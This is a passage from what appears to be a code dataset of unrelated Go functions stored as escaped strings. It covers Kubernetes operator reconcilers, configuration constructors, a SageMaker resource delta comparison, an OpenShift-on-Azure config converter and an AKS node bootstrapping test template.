ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition, b.ko.Spec.TrainingJobDefinition.StoppingCondition) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition\", a.ko.Spec.TrainingJobDefinition.StoppingCondition, b.ko.Spec.TrainingJobDefinition.StoppingCondition)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != *b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != *b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective, b.ko.Spec.TrainingJobDefinition.TuningObjective) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective\", a.ko.Spec.TrainingJobDefinition.TuningObjective, b.ko.Spec.TrainingJobDefinition.TuningObjective)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.MetricName\", a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != *b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.MetricName\", a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.Type\", a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective.Type != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective.Type != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.TuningObjective.Type != *b.ko.Spec.TrainingJobDefinition.TuningObjective.Type {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.Type\", a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.VPCConfig, b.ko.Spec.TrainingJobDefinition.VPCConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.VPCConfig\", a.ko.Spec.TrainingJobDefinition.VPCConfig, b.ko.Spec.TrainingJobDefinition.VPCConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.VPCConfig != nil && b.ko.Spec.TrainingJobDefinition.VPCConfig != nil {\n\t\t\tif !ackcompare.SliceStringPEqual(a.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs, b.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs\", a.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs, b.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs)\n\t\t\t}\n\t\t\tif !ackcompare.SliceStringPEqual(a.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets, b.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.VPCConfig.Subnets\", a.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets, b.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets)\n\t\t\t}\n\t\t}\n\t}\n\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinitions, b.ko.Spec.TrainingJobDefinitions) {\n\t\tdelta.Add(\"Spec.TrainingJobDefinitions\", a.ko.Spec.TrainingJobDefinitions, b.ko.Spec.TrainingJobDefinitions)\n\t}\n\tif ackcompare.HasNilDifference(a.ko.Spec.WarmStartConfig, b.ko.Spec.WarmStartConfig) {\n\t\tdelta.Add(\"Spec.WarmStartConfig\", a.ko.Spec.WarmStartConfig, b.ko.Spec.WarmStartConfig)\n\t} else if a.ko.Spec.WarmStartConfig != nil && b.ko.Spec.WarmStartConfig != nil {\n\t\tif !reflect.DeepEqual(a.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs, b.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs) {\n\t\t\tdelta.Add(\"Spec.WarmStartConfig.ParentHyperParameterTuningJobs\", a.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs, b.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs)\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType) {\n\t\t\tdelta.Add(\"Spec.WarmStartConfig.WarmStartType\", a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType)\n\t\t} else if a.ko.Spec.WarmStartConfig.WarmStartType != nil && b.ko.Spec.WarmStartConfig.WarmStartType != nil {\n\t\t\tif *a.ko.Spec.WarmStartConfig.WarmStartType != *b.ko.Spec.WarmStartConfig.WarmStartType {\n\t\t\t\tdelta.Add(\"Spec.WarmStartConfig.WarmStartType\", a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn delta\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tr := &ReconcileImageRegistry{\n\t\tclient: mgr.GetClient(),\n\t\tscheme: mgr.GetScheme(),\n\t\tcertManager: certs.NewCertManager(mgr.GetClient(), mgr.GetScheme(), certs.RootCASecretName()),\n\t\tdnsZone: DNSZone(),\n\t\timageAuth: os.Getenv(EnvImageAuth),\n\t\timageNginx: os.Getenv(EnvImageNginx),\n\t\timageRegistry: os.Getenv(EnvImageRegistry),\n\t}\n\tif r.imageAuth == \"\" {\n\t\tr.imageAuth = \"mgoltzsche/image-registry-operator:latest-auth\"\n\t}\n\tif r.imageNginx == \"\" {\n\t\tr.imageNginx = \"mgoltzsche/image-registry-operator:latest-nginx\"\n\t}\n\tif r.imageRegistry == \"\" {\n\t\tr.imageRegistry = \"registry:2\"\n\t}\n\tr.reconcileTasks = []reconcileTask{\n\t\tr.reconcileTokenCert,\n\t\tr.reconcileTLSCert,\n\t\tr.reconcileServiceAccount,\n\t\tr.reconcileRole,\n\t\tr.reconcileRoleBinding,\n\t\tr.reconcileService,\n\t\tr.reconcileStatefulSet,\n\t\tr.reconcilePersistentVolumeClaim,\n\t}\n\treturn r\n}","func defaultConfig() interface{} {\n\treturn &conf{\n\t\tPools: make(map[string]poolConfig),\n\t\tLabelNode: false,\n\t\tTaintNode: false,\n\t}\n}","func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}","func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}","func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}","func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}","func createDefaultConfig() component.Config {\n\treturn &Config{\n\t\tProtocols: Protocols{\n\t\t\tGRPC: &configgrpc.GRPCServerSettings{\n\t\t\t\tNetAddr: confignet.NetAddr{\n\t\t\t\t\tEndpoint: defaultGRPCEndpoint,\n\t\t\t\t\tTransport: \"tcp\",\n\t\t\t\t},\n\t\t\t\t// We almost write 0 bytes, so no need to tune WriteBufferSize.\n\t\t\t\tReadBufferSize: 512 * 1024,\n\t\t\t},\n\t\t\tHTTP: &HTTPConfig{\n\t\t\t\tHTTPServerSettings: &confighttp.HTTPServerSettings{\n\t\t\t\t\tEndpoint: defaultHTTPEndpoint,\n\t\t\t\t},\n\t\t\t\tTracesURLPath: defaultTracesURLPath,\n\t\t\t\tMetricsURLPath: defaultMetricsURLPath,\n\t\t\t\tLogsURLPath: defaultLogsURLPath,\n\t\t\t},\n\t\t},\n\t}\n}","func (s *cpuSource) NewConfig() source.Config { return newDefaultConfig() }","func newDynconfigLocal(path string) (*dynconfigLocal, error) {\n\td := &dynconfigLocal{\n\t\tfilepath: path,\n\t}\n\n\treturn d, nil\n}","func createFromResources(dp *v1alpha1.EdgeDataplane, da *v1alpha1.EdgeTraceabilityAgent) (*APIGatewayConfiguration, error) {\n\n\tcfg := &APIGatewayConfiguration{\n\t\tHost: dp.Spec.ApiGatewayManager.Host,\n\t\tPort: int(dp.Spec.ApiGatewayManager.Port),\n\t\tEnableAPICalls: da.Spec.Config.ProcessHeaders,\n\t\tPollInterval: 1 * time.Minute,\n\t}\n\n\tif dp.Spec.ApiGatewayManager.PollInterval != \"\" {\n\t\tresCfgPollInterval, err := time.ParseDuration(dp.Spec.ApiGatewayManager.PollInterval)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcfg.PollInterval = resCfgPollInterval\n\t}\n\treturn cfg, nil\n}","func newConfigFromString(t *testing.T, configString string) (Config, func(), error) {\n\ttestFs, testFsTeardown := setupTestFs()\n\n\terr := afero.WriteFile(testFs, \"config.properties\", []byte(configString), 0644)\n\n\tif err != nil {\n\t\t// Fatal stops the goroutine before the caller can defer the teardown function\n\t\t// run it manually now\n\t\ttestFsTeardown()\n\t\tConfigViperHook = func(v *viper.Viper) {}\n\n\t\tt.Fatal(\"cannot make file\", \"config.properties\", err)\n\t}\n\n\tConfigViperHook = func(v *viper.Viper) {\n\t\tv.SetFs(GetIndexFs())\n\t}\n\n\tlog.DEBUG.Printf(\"loading config from '%s'\\n\", configString)\n\n\tc, err := NewConfig(\"config.properties\")\n\n\treturn c, func() {\n\t\ttestFsTeardown()\n\t\tConfigViperHook = func(v *viper.Viper) {}\n\t}, err\n}","func NewConfig() Config {\n\treturn Config{\n\t\t0.0, 0.0,\n\t\t4.0, 4.0,\n\t\t1000, 1000,\n\t\t512,\n\t\t\"ramp.json\",\n\t\t\"default.gob\",\n\t\t\"output.jpg\",\n\t\t\"000000\",\n\t\t0.0, 0.0}\n}","func NewReconciler(m ctrl.Manager, o ...ReconcilerOption) *Reconciler {\n\tr := &Reconciler{\n\t\tclient: m.GetClient(),\n\t\tlog: logging.NewNopLogger(),\n\t\trecord: event.NewNopRecorder(),\n\t\tcheckers: []WorloadHealthChecker{\n\t\t\tWorkloadHealthCheckFn(CheckContainerziedWorkloadHealth),\n\t\t\tWorkloadHealthCheckFn(CheckDeploymentHealth),\n\t\t\tWorkloadHealthCheckFn(CheckStatefulsetHealth),\n\t\t\tWorkloadHealthCheckFn(CheckDaemonsetHealth),\n\t\t},\n\t}\n\tfor _, ro := range o {\n\t\tro(r)\n\t}\n\n\treturn r\n}","func newReconciler(mgr manager.Manager, channelDescriptor *utils.ChannelDescriptor, logger logr.Logger) reconcile.Reconciler {\n\treturn &ReconcileDeployable{\n\t\tKubeClient: mgr.GetClient(),\n\t\tChannelDescriptor: channelDescriptor,\n\t\tLog: logger,\n\t}\n}","func newTransportMutation(c config, op Op, opts ...transportOption) *TransportMutation {\n\tm := &TransportMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeTransport,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func newDryrunOptions(streams genericclioptions.IOStreams) *dryrunOptions {\n\to := &dryrunOptions{\n\t\tconfigFlags: genericclioptions.NewConfigFlags(false),\n\n\t\tIOStreams: streams,\n\t}\n\n\treturn o\n}","func unstructuredUnsupportedConfigFromWithPrefix(rawConfig []byte, prefix []string) ([]byte, error) {\n\tif len(prefix) == 0 {\n\t\treturn rawConfig, nil\n\t}\n\n\tprefixedConfig := map[string]interface{}{}\n\tif err := json.NewDecoder(bytes.NewBuffer(rawConfig)).Decode(&prefixedConfig); err != nil {\n\t\tklog.V(4).Infof(\"decode of existing config failed with error: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tactualConfig, _, err := unstructured.NestedFieldCopy(prefixedConfig, prefix...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn json.Marshal(actualConfig)\n}","func ToInternal(in *Config, old *api.Config, setVersionFields bool) (*api.Config, error) {\n\tc := &api.Config{}\n\tif old != nil {\n\t\tc = old.DeepCopy()\n\t}\n\n\t// setting c.PluginVersion = in.PluginVersion is done up-front by the plugin\n\t// code. It could be done here as well (gated by setVersionFields) but\n\t// would/should be a no-op. To simplify the logic, we don't do it.\n\n\tc.ComponentLogLevel.APIServer = &in.ComponentLogLevel.APIServer\n\tc.ComponentLogLevel.ControllerManager = &in.ComponentLogLevel.ControllerManager\n\tc.ComponentLogLevel.Node = &in.ComponentLogLevel.Node\n\n\tc.SecurityPatchPackages = in.SecurityPatchPackages\n\tc.SSHSourceAddressPrefixes = in.SSHSourceAddressPrefixes\n\n\tif setVersionFields {\n\t\tinVersion, found := in.Versions[c.PluginVersion]\n\t\tif !found {\n\t\t\treturn nil, fmt.Errorf(\"version %q not found\", c.PluginVersion)\n\t\t}\n\n\t\t// Generic offering configurables\n\t\tc.ImageOffer = inVersion.ImageOffer\n\t\tc.ImagePublisher = inVersion.ImagePublisher\n\t\tc.ImageSKU = inVersion.ImageSKU\n\t\tc.ImageVersion = inVersion.ImageVersion\n\n\t\t// Container images configuration\n\t\tc.Images.AlertManager = inVersion.Images.AlertManager\n\t\tc.Images.AnsibleServiceBroker = inVersion.Images.AnsibleServiceBroker\n\t\tc.Images.ClusterMonitoringOperator = inVersion.Images.ClusterMonitoringOperator\n\t\tc.Images.ConfigReloader = inVersion.Images.ConfigReloader\n\t\tc.Images.Console = inVersion.Images.Console\n\t\tc.Images.ControlPlane = inVersion.Images.ControlPlane\n\t\tc.Images.Grafana = inVersion.Images.Grafana\n\t\tc.Images.KubeRbacProxy = inVersion.Images.KubeRbacProxy\n\t\tc.Images.KubeStateMetrics = inVersion.Images.KubeStateMetrics\n\t\tc.Images.Node = inVersion.Images.Node\n\t\tc.Images.NodeExporter = inVersion.Images.NodeExporter\n\t\tc.Images.OAuthProxy = inVersion.Images.OAuthProxy\n\t\tc.Images.Prometheus = inVersion.Images.Prometheus\n\t\tc.Images.PrometheusConfigReloader = inVersion.Images.PrometheusConfigReloader\n\t\tc.Images.PrometheusOperator = inVersion.Images.PrometheusOperator\n\t\tc.Images.Registry = inVersion.Images.Registry\n\t\tc.Images.RegistryConsole = inVersion.Images.RegistryConsole\n\t\tc.Images.Router = inVersion.Images.Router\n\t\tc.Images.ServiceCatalog = inVersion.Images.ServiceCatalog\n\t\tc.Images.TemplateServiceBroker = inVersion.Images.TemplateServiceBroker\n\t\tc.Images.WebConsole = inVersion.Images.WebConsole\n\n\t\tc.Images.Format = inVersion.Images.Format\n\n\t\tc.Images.Httpd = inVersion.Images.Httpd\n\t\tc.Images.MasterEtcd = inVersion.Images.MasterEtcd\n\n\t\tc.Images.GenevaLogging = inVersion.Images.GenevaLogging\n\t\tc.Images.GenevaStatsd = inVersion.Images.GenevaStatsd\n\t\tc.Images.GenevaTDAgent = inVersion.Images.GenevaTDAgent\n\n\t\tc.Images.AzureControllers = inVersion.Images.AzureControllers\n\t\tc.Images.Canary = inVersion.Images.Canary\n\t\tc.Images.AroAdmissionController = inVersion.Images.AroAdmissionController\n\t\tc.Images.EtcdBackup = inVersion.Images.EtcdBackup\n\t\tc.Images.MetricsBridge = inVersion.Images.MetricsBridge\n\t\tc.Images.Startup = inVersion.Images.Startup\n\t\tc.Images.Sync = inVersion.Images.Sync\n\t\tc.Images.TLSProxy = inVersion.Images.TLSProxy\n\n\t\tc.Images.LogAnalyticsAgent = inVersion.Images.LogAnalyticsAgent\n\t\tc.Images.MetricsServer = inVersion.Images.MetricsServer\n\t}\n\n\t// use setVersionFields to override the secrets below otherwise\n\t// they become un-updatable..\n\tif c.Certificates.GenevaLogging.Key == nil || setVersionFields {\n\t\tc.Certificates.GenevaLogging.Key = in.Certificates.GenevaLogging.Key\n\t}\n\tif c.Certificates.GenevaLogging.Cert == nil || setVersionFields {\n\t\tc.Certificates.GenevaLogging.Cert = in.Certificates.GenevaLogging.Cert\n\t}\n\tif c.Certificates.GenevaMetrics.Key == nil || setVersionFields {\n\t\tc.Certificates.GenevaMetrics.Key = in.Certificates.GenevaMetrics.Key\n\t}\n\tif c.Certificates.GenevaMetrics.Cert == nil || setVersionFields {\n\t\tc.Certificates.GenevaMetrics.Cert = in.Certificates.GenevaMetrics.Cert\n\t}\n\tif c.Certificates.PackageRepository.Key == nil || setVersionFields {\n\t\tc.Certificates.PackageRepository.Key = in.Certificates.PackageRepository.Key\n\t}\n\tif c.Certificates.PackageRepository.Cert == nil || setVersionFields {\n\t\tc.Certificates.PackageRepository.Cert = in.Certificates.PackageRepository.Cert\n\t}\n\n\t// Geneva integration configurables\n\tif c.GenevaLoggingSector == \"\" {\n\t\tc.GenevaLoggingSector = in.GenevaLoggingSector\n\t}\n\tif c.GenevaLoggingAccount == \"\" {\n\t\tc.GenevaLoggingAccount = in.GenevaLoggingAccount\n\t}\n\tif c.GenevaLoggingNamespace == \"\" {\n\t\tc.GenevaLoggingNamespace = in.GenevaLoggingNamespace\n\t}\n\tif c.GenevaLoggingControlPlaneAccount == \"\" {\n\t\tc.GenevaLoggingControlPlaneAccount = in.GenevaLoggingControlPlaneAccount\n\t}\n\tif c.GenevaLoggingControlPlaneEnvironment == \"\" {\n\t\tc.GenevaLoggingControlPlaneEnvironment = in.GenevaLoggingControlPlaneEnvironment\n\t}\n\tif c.GenevaLoggingControlPlaneRegion == \"\" {\n\t\tc.GenevaLoggingControlPlaneRegion = in.GenevaLoggingControlPlaneRegion\n\t}\n\tif c.GenevaMetricsAccount == \"\" {\n\t\tc.GenevaMetricsAccount = in.GenevaMetricsAccount\n\t}\n\tif c.GenevaMetricsEndpoint == \"\" {\n\t\tc.GenevaMetricsEndpoint = in.GenevaMetricsEndpoint\n\t}\n\n\tif c.Images.ImagePullSecret == nil || setVersionFields {\n\t\tc.Images.ImagePullSecret = in.ImagePullSecret\n\t}\n\tif c.Images.GenevaImagePullSecret == nil || setVersionFields {\n\t\tc.Images.GenevaImagePullSecret = in.GenevaImagePullSecret\n\t}\n\n\treturn c, nil\n}","func defaultConfig() *config.Config {\n\treturn &config.Config{\n\t\tTargetAnnotation: \"bio.terra.testing/snapshot-policy\",\n\t\tGoogleProject: \"fake-project\",\n\t\tRegion: \"us-central1\",\n\t}\n}","func baseTemplate() *datamodel.NodeBootstrappingConfiguration {\n\tvar (\n\t\ttrueConst = true\n\t\tfalseConst = false\n\t)\n\treturn &datamodel.NodeBootstrappingConfiguration{\n\t\tContainerService: &datamodel.ContainerService{\n\t\t\tID: \"\",\n\t\t\tLocation: \"eastus\",\n\t\t\tName: \"\",\n\t\t\tPlan: nil,\n\t\t\tTags: map[string]string(nil),\n\t\t\tType: \"Microsoft.ContainerService/ManagedClusters\",\n\t\t\tProperties: &datamodel.Properties{\n\t\t\t\tClusterID: \"\",\n\t\t\t\tProvisioningState: \"\",\n\t\t\t\tOrchestratorProfile: &datamodel.OrchestratorProfile{\n\t\t\t\t\tOrchestratorType: \"Kubernetes\",\n\t\t\t\t\tOrchestratorVersion: \"1.26.0\",\n\t\t\t\t\tKubernetesConfig: &datamodel.KubernetesConfig{\n\t\t\t\t\t\tKubernetesImageBase: \"\",\n\t\t\t\t\t\tMCRKubernetesImageBase: \"\",\n\t\t\t\t\t\tClusterSubnet: \"\",\n\t\t\t\t\t\tNetworkPolicy: \"\",\n\t\t\t\t\t\tNetworkPlugin: \"kubenet\",\n\t\t\t\t\t\tNetworkMode: \"\",\n\t\t\t\t\t\tContainerRuntime: \"\",\n\t\t\t\t\t\tMaxPods: 0,\n\t\t\t\t\t\tDockerBridgeSubnet: \"\",\n\t\t\t\t\t\tDNSServiceIP: \"\",\n\t\t\t\t\t\tServiceCIDR: \"\",\n\t\t\t\t\t\tUseManagedIdentity: false,\n\t\t\t\t\t\tUserAssignedID: \"\",\n\t\t\t\t\t\tUserAssignedClientID: \"\",\n\t\t\t\t\t\tCustomHyperkubeImage: \"\",\n\t\t\t\t\t\tCustomKubeProxyImage: \"mcr.microsoft.com/oss/kubernetes/kube-proxy:v1.26.0.1\",\n\t\t\t\t\t\tCustomKubeBinaryURL: \"https://acs-mirror.azureedge.net/kubernetes/v1.26.0/binaries/kubernetes-node-linux-amd64.tar.gz\",\n\t\t\t\t\t\tMobyVersion: \"\",\n\t\t\t\t\t\tContainerdVersion: \"\",\n\t\t\t\t\t\tWindowsNodeBinariesURL: \"\",\n\t\t\t\t\t\tWindowsContainerdURL: \"\",\n\t\t\t\t\t\tWindowsSdnPluginURL: \"\",\n\t\t\t\t\t\tUseInstanceMetadata: &trueConst,\n\t\t\t\t\t\tEnableRbac: nil,\n\t\t\t\t\t\tEnableSecureKubelet: nil,\n\t\t\t\t\t\tPrivateCluster: nil,\n\t\t\t\t\t\tGCHighThreshold: 0,\n\t\t\t\t\t\tGCLowThreshold: 0,\n\t\t\t\t\t\tEnableEncryptionWithExternalKms: nil,\n\t\t\t\t\t\tAddons: nil,\n\t\t\t\t\t\tContainerRuntimeConfig: map[string]string(nil),\n\t\t\t\t\t\tControllerManagerConfig: map[string]string(nil),\n\t\t\t\t\t\tSchedulerConfig: map[string]string(nil),\n\t\t\t\t\t\tCloudProviderBackoffMode: \"v2\",\n\t\t\t\t\t\tCloudProviderBackoff: &trueConst,\n\t\t\t\t\t\tCloudProviderBackoffRetries: 6,\n\t\t\t\t\t\tCloudProviderBackoffJitter: 0.0,\n\t\t\t\t\t\tCloudProviderBackoffDuration: 5,\n\t\t\t\t\t\tCloudProviderBackoffExponent: 0.0,\n\t\t\t\t\t\tCloudProviderRateLimit: &trueConst,\n\t\t\t\t\t\tCloudProviderRateLimitQPS: 10.0,\n\t\t\t\t\t\tCloudProviderRateLimitQPSWrite: 10.0,\n\t\t\t\t\t\tCloudProviderRateLimitBucket: 100,\n\t\t\t\t\t\tCloudProviderRateLimitBucketWrite: 100,\n\t\t\t\t\t\tCloudProviderDisableOutboundSNAT: &falseConst,\n\t\t\t\t\t\tNodeStatusUpdateFrequency: \"\",\n\t\t\t\t\t\tLoadBalancerSku: \"Standard\",\n\t\t\t\t\t\tExcludeMasterFromStandardLB: nil,\n\t\t\t\t\t\tAzureCNIURLLinux: \"https://acs-mirror.azureedge.net/azure-cni/v1.1.8/binaries/azure-vnet-cni-linux-amd64-v1.1.8.tgz\",\n\t\t\t\t\t\tAzureCNIURLARM64Linux: \"\",\n\t\t\t\t\t\tAzureCNIURLWindows: \"\",\n\t\t\t\t\t\tMaximumLoadBalancerRuleCount: 250,\n\t\t\t\t\t\tPrivateAzureRegistryServer: \"\",\n\t\t\t\t\t\tNetworkPluginMode: \"\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAgentPoolProfiles: []*datamodel.AgentPoolProfile{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"nodepool2\",\n\t\t\t\t\t\tVMSize: \"Standard_DS1_v2\",\n\t\t\t\t\t\tKubeletDiskType: \"\",\n\t\t\t\t\t\tWorkloadRuntime: \"\",\n\t\t\t\t\t\tDNSPrefix: \"\",\n\t\t\t\t\t\tOSType: \"Linux\",\n\t\t\t\t\t\tPorts: nil,\n\t\t\t\t\t\tAvailabilityProfile: \"VirtualMachineScaleSets\",\n\t\t\t\t\t\tStorageProfile: \"ManagedDisks\",\n\t\t\t\t\t\tVnetSubnetID: \"\",\n\t\t\t\t\t\tDistro: \"aks-ubuntu-containerd-18.04-gen2\",\n\t\t\t\t\t\tCustomNodeLabels: map[string]string{\n\t\t\t\t\t\t\t\"kubernetes.azure.com/mode\": \"system\",\n\t\t\t\t\t\t\t\"kubernetes.azure.com/node-image-version\": \"AKSUbuntu-1804gen2containerd-2022.01.19\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPreprovisionExtension: nil,\n\t\t\t\t\t\tKubernetesConfig: &datamodel.KubernetesConfig{\n\t\t\t\t\t\t\tKubernetesImageBase: \"\",\n\t\t\t\t\t\t\tMCRKubernetesImageBase: \"\",\n\t\t\t\t\t\t\tClusterSubnet: \"\",\n\t\t\t\t\t\t\tNetworkPolicy: \"\",\n\t\t\t\t\t\t\tNetworkPlugin: \"\",\n\t\t\t\t\t\t\tNetworkMode: \"\",\n\t\t\t\t\t\t\tContainerRuntime: \"containerd\",\n\t\t\t\t\t\t\tMaxPods: 0,\n\t\t\t\t\t\t\tDockerBridgeSubnet: \"\",\n\t\t\t\t\t\t\tDNSServiceIP: \"\",\n\t\t\t\t\t\t\tServiceCIDR: \"\",\n\t\t\t\t\t\t\tUseManagedIdentity: false,\n\t\t\t\t\t\t\tUserAssignedID: \"\",\n\t\t\t\t\t\t\tUserAssignedClientID: \"\",\n\t\t\t\t\t\t\tCustomHyperkubeImage: \"\",\n\t\t\t\t\t\t\tCustomKubeProxyImage: \"\",\n\t\t\t\t\t\t\tCustomKubeBinaryURL: \"\",\n\t\t\t\t\t\t\tMobyVersion: \"\",\n\t\t\t\t\t\t\tContainerdVersion: \"\",\n\t\t\t\t\t\t\tWindowsNodeBinariesURL: \"\",\n\t\t\t\t\t\t\tWindowsContainerdURL: \"\",\n\t\t\t\t\t\t\tWindowsSdnPluginURL: \"\",\n\t\t\t\t\t\t\tUseInstanceMetadata: nil,\n\t\t\t\t\t\t\tEnableRbac: nil,\n\t\t\t\t\t\t\tEnableSecureKubelet: nil,\n\t\t\t\t\t\t\tPrivateCluster: nil,\n\t\t\t\t\t\t\tGCHighThreshold: 0,\n\t\t\t\t\t\t\tGCLowThreshold: 0,\n\t\t\t\t\t\t\tEnableEncryptionWithExternalKms: nil,\n\t\t\t\t\t\t\tAddons: nil,\n\t\t\t\t\t\t\tContainerRuntimeConfig: map[string]string(nil),\n\t\t\t\t\t\t\tControllerManagerConfig: map[string]string(nil),\n\t\t\t\t\t\t\tSchedulerConfig: map[string]string(nil),\n\t\t\t\t\t\t\tCloudProviderBackoffMode: \"\",\n\t\t\t\t\t\t\tCloudProviderBackoff: nil,\n\t\t\t\t\t\t\tCloudProviderBackoffRetries: 0,\n\t\t\t\t\t\t\tCloudProviderBackoffJitter: 0.0,\n\t\t\t\t\t\t\tCloudProviderBackoffDuration: 0,\n\t\t\t\t\t\t\tCloudProviderBackoffExponent: 0.0,\n\t\t\t\t\t\t\tCloudProviderRateLimit: nil,\n\t\t\t\t\t\t\tCloudProviderRateLimitQPS: 0.0,\n\t\t\t\t\t\t\tCloudProviderRateLimitQPSWrite: 0.0,\n\t\t\t\t\t\t\tCloudProviderRateLimitBucket: 